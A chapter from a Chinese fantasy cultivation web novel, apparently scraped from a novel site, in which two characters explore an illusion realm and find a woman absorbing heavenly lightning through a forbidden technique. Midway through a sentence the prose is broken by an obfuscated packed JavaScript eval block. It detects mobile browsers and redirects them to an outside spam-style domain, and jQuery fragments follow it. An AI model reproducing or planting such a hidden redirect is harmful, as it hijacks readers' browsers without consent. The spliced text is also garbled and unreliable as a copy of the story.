季清河这才察觉到自己衣衫半敞,他慌乱背过身,赶紧整理好,又拿着锦帕擦了擦嘴角。
做完这一切,他的手突然一顿,似是意识到手中之物的主人是谁,拿着锦帕的手下意识收紧,手在唇角轻碰了一下,才仓促地将手帕叠得整齐,放入袖中。
他以为桑梓多半又要捉弄他几句,却见她只是给他递了锦帕就走出了隔间,忽略心底莫名的异样,也顺势跟上。
桑梓先一步出来后,去了其他的小隔间看了几眼,这些小隔间倒是与方才两人待的那间并无不同,进了小隔间的人,由大夫改完经脉后,都会被送进小石头屋内。
所以关键是在小石头屋,想到季清河跟她是不同时间进来的,桑梓不由转身:“你之前进来时可有什么发现?”
季清河:“此处的大夫都听某个毒修号令,当时她在调制一锅药汤,我多看了几眼,里面有五毒草、玄冰飞蝎、紫蛛草等毒物,他们似乎端着药汤进了石头屋。”
桑梓了然,想到了此前叶飞霜说的万花楼的制毒高手,应该就是此人了。
“可都是毒物......莫非,另有妙用?”
“或许吧。”季清河敛眸,眼眸中划过一抹不易察觉的期待,“我曾在一本古籍中发现类似的丹方,这毒物单个是剧毒,可若以异火融之,再辅以特质的灵液,却能变为良方。”
说到后面,季清河不由攥起拳头,连身体也在微微颤抖,若这幻境中的一切是真的,他的经脉......
“走,那就去看看。”桑梓之前见叶飞霜展现过异火,那是能在异火中排得上名号的朱雀之火,还当真和季清河所说的对应上了。
两人暂时脱离幻境的控制,做起事来倒是方便许多。
说是小石头屋,但两人走近后,发现并不小,大门紧闭,与想象中不同,走进去竟是一片漆黑。
桑梓正想拿出个珠子照明,却有一道亮光瞬间划过,照亮了四周。
亮光并非一直亮着,而是隔一段时间便会闪烁一阵,桑梓下意识抬头看去,看见了漆黑上空中不断闪烁的雷光。
它不似普通雷光亮起之时伴随着轰声阵阵,那股沉重的压力直击灵魂,像一只戒尺重重拍向心间,令人浑身一震的同时,又不免生出些恐惧与颤栗来。
“这雷,怎么带着法则之力?”桑梓蹙了蹙眉,面上露出疑惑。
“是天雷。”季清河修炼至今,对天雷再熟悉不过,只是这天雷要比修士平常的劫雷要强上好几倍,“他们这是设了阵法将天雷困在其中。”
“困天雷,疯了吗?”
两人继续往前走,走到了一处静室,静室很简陋,只有一张桌子和一只蒲团,蒲团上正是方才与桑梓一同进来的叶飞霜。
她此刻正在打坐,手上拿着一个雕刻精致的锦盒,锦盒里有与此前空中相同的雷光,雷光一道一道朝着叶飞霜身上蔓延,每每划过她的身体,她便痛苦地闷哼一声。
她整个人沐浴在雷光之中,额上青筋暴起,身上布满了薄汗与血迹。
“这是刚刚的天雷,她用天雷淬体?”桑梓微微错愕,不过再仔细看了几眼后,脸上的表情变得更加骇然,“不,不对,不是淬体。”
“是吞噬。”
桑梓转头看向季清河:“你们现在修炼已经都流行吞噬天雷了?”
“没有,在下不才,也只停留在淬体阶段。”
淬体与吞噬大有区别,淬体只是让天雷在皮肤表面划过,锤炼肉身。
而吞噬,是完完全全将天雷吸收,内化为自己的能量,此法在两人不长不短的修炼生涯中,还是第一次见。
“即便是淬体,修士尚且只敢在历雷劫之时用前两三道较为弱的天雷,可你看她。”季清河出言提醒桑梓,“这可不止两三道。”
桑梓点了点头,她修的是魔,魔的身体强度要比修士强上许多,她平时修炼用几十道天雷淬体已是极限,而叶飞霜只是凡人,如何能承受这么大的力量,还是说她的功法已然强悍到了如此境界?
但即便如此,天雷也只有渡劫时才有,他们凡人不用渡劫,哪里来的天雷?
她神色一动,脑中突然浮现起诸葛富贵说的“天道震怒,收其修为”这句话,难道这些天雷是——天罚?
天罚分三次,一次为警告,并无杀伤力;一次为消除,便是消除此人身上逆天而行所得;三是诛杀,若警告同消除还未能阻止此人逆天而行,天罚则一击必杀,从无失策。
在三重天罚下,天雷让不让人活不活着还是一回事,又怎会被叶飞霜收集起来,为己所用呢?
疑惑像线团般,缠绕在桑梓的心头。
“桑......君上,你过来看看。”
季清河站在叶飞霜旁边的那张桌子旁,桌上放着竹简与一本书册,书册上全是灵符的画样。
“你看这灵符,可觉得熟悉?”
桑梓拿起灵符看了几眼后,确实觉得有些熟悉,突然想起诸葛富贵给的灵符,拿出来一对比,竟然有八分相似。
“那老人的灵符与此同出一源?”
“正是。”季清河对灵符颇有研究,讲到这里,他的眼中闪着亮光,“这些灵符设计着实精妙,与如今仙门的大大不同,那老人给的灵符怕只是这其中的皮毛罢了。”
“这样说来,他恐怕同叶飞霜有些关系。”桑梓没有过于关注灵符的技巧上,如今他们被困幻境,唯一的突破口便是那老人,这老人一开始便拦住他们,如今又拿灵符帮助他们,同时与这幻境中人又有着密切的关系。
千丝万缕都绕到他的身上,看来明晚之约势必得仔细问出点东西了。
桌上还放着一卷竹简,桑梓翻开竹简,本不抱有什么期待,但一翻开,字
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15923375|177013||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
字句句呈现的,都是关于这逆天而行的功法。
桑梓有些颤抖着双手,将视线仔细挪向这份竹简,她每多看一眼,心中的疑惑便多消减一分,每多看一眼,心中便越多一分惊奇与敬佩。
“数月观察,见遭天雷击中者,非死即重伤......而我能承受更多......”
桑梓暗暗吃惊,所以,叶飞霜是想法子把所有人的天罚到引到自己的身上了吗?桑梓心中不由设想,若魔族遭遇大劫,她可能并不会如叶飞霜这般,舍己为人。
但她更加好奇的是,叶飞霜到底是用什么法子,竟能连天雷也能控制?
她继续往后看,越看越吃惊。
“这功法,当真是存在的!”
“改其经脉......药汤......锻其体魄,步逆转之阵......引天雷上身......”桑梓看到后面,发现竹简上的某处被沾染上了污渍,她眉间微动,因为此处,正是最为关键的部分。
“以......生其灵根?”
看到这句话,桑梓不由与季清河对望了一眼,两人都从心底里生出疑惑来。
灵根也能生长出来吗,是什么让灵根得以生长呢?
按照诸葛富贵给出的信息,书上记载的是“无灵根无灵脉的天才叶飞霜”,看来,书上记载的还是有误差,这哪里是无灵根无灵脉,分明就是无中生有。
两人都忍不住看向一旁的叶飞霜。
改灵脉,造灵根,创功法,困天雷,与天道抗衡。
这样一个令人瞩目的天才,竟然就这样无声无息地消失在历史的长河中,这样的传奇竟少有人知晓,这些人陨落的真相,到底会是什么呢?
“走,去看看刚刚被抬进来的人去了哪里!”
若此前只是被动困于幻境被动破局,在见识到了叶飞霜所制灵符与所创功法的两人,便稍显主动了些,两人一前一后走得极快,不过片刻便来到了一处石室。
“滋滋——”
石室四周的墙上蜿蜒着数百根血管一样的丝线,丝线周围不时闪烁着蓝色的光晕,与此前他们见到的天雷十分相似。
地上放了数十个浴桶,浴桶里面泡着的正是此前小隔间出来的人,丝线蔓延至地面,一路攀爬至每个人的背上,与他们的皮肤融为一体。
“那蓝色光晕似乎是从他们身上流出的。”桑梓看着眼前的景象,不由将此与竹简上的“逆转之阵”对应了起来,难道说,他们的后背流出的都是本该属于他们的天罚吗?
突然,石室中央一阵强烈的金光闪过,一个巨大的繁复精巧的图腾一闪而过,又没入地面消失不见。
虽是一瞬间,但还是被季清河给捕捉到了,他的脸上从未出现过如此呆滞的神情。
“那是......”他张开嘴,有种声音不属于自己的感觉,“千人偶?”